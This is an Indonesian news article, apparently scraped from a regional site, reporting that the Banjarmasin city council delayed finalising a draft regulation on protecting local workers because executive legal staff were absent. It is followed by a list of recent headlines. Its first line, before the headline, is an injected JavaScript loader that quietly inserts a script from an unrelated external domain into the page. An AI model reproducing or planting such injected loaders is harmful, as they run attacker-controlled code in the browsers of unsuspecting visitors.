(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Banjarmasin Rancang Pengetatan Seleksi Tenaga Kerja Luar Daerah


BANJARMASIN, DPRD Banjarmasin akhirnya menunda penggodokan finalisasi Rancangan Peraturan Daerah (Raperda) tentang Perlindungan dan Penempatan Tenaga Kerja Lokal. Hal ini lantaran pihak eksekutif tidak hadir dalam pembahasan tersebut.

“Khususnya bagian pihak hukum dan perundang-undangan tidak hadir, maka terpaksa kita tunda pembahasannya. Padahal ini sudah materi akhir atau finalisasi,” kata Ketua Panitia Khusus Raperda tersebut Mursyid di gedung DPRD Kota Banjarmasin.

Penggodokan Raperda ini sudah sampai tahap akhir. Sebelumnya, pihak eksekutif telah melakukan konsultasi ke Kementerian Ketenagakerjaan. Dan hasilnya, tidak ada batasan penyerapan tenaga kerja dari luar daerah. Karena jika ada batasan, hal itu bertetangan dengan peraturan kementerian yang sudah ditetapkan. “Karena ini bersifat multinasional, dimanapun tidak ada batasan,” katanya dilansir Antara.

Aturan tersebut lanjutnya, tidak lain untuk mengakomodasi, agar tenaga kerja lokal dapat bersaing dengan tenaga kerja luar daerah. Artinya penyerapan tenaga kerja luar daerah nantinya akan lebih selektif. “Mana saja yang diperlukan, itu yang lebih diutamakan,” katanya.

Dalam Raperda tersebut juga akan ada aturan, bahwa setiap perusahaan terlebih dahulu harus berkoordinasi dengan pihak pemerintah kota dalam hal penyerapan tenaga kerja. Mursyid menambahkan, perlindungan dan penempatan tenaga kerja lokal di Banjarmasin belum dilaksanakan secara optimal. Sehingga perlu ada aturan yang bertujuan membina, mengawasi dan menata sistem ketenagakerjaan lokal di Banjarmasin.

“Di sisi lain kita ingin perekonomian berjalan dengan baik dan menginginkan tenaga kerja lokal di Banjarmasin dapat diserap lebih banyak, agar masalah pengangguran dapat teratasi. Supaya menjadi satu kesatuan, maka kami buat Raperda ini,” jelasnya.(cel/ant)

Reporter : Cel/ant
Editor : Chell

Desy Arfianty

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

2 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

5 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

5 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

19 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

21 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

24 jam ago

This website uses cookies.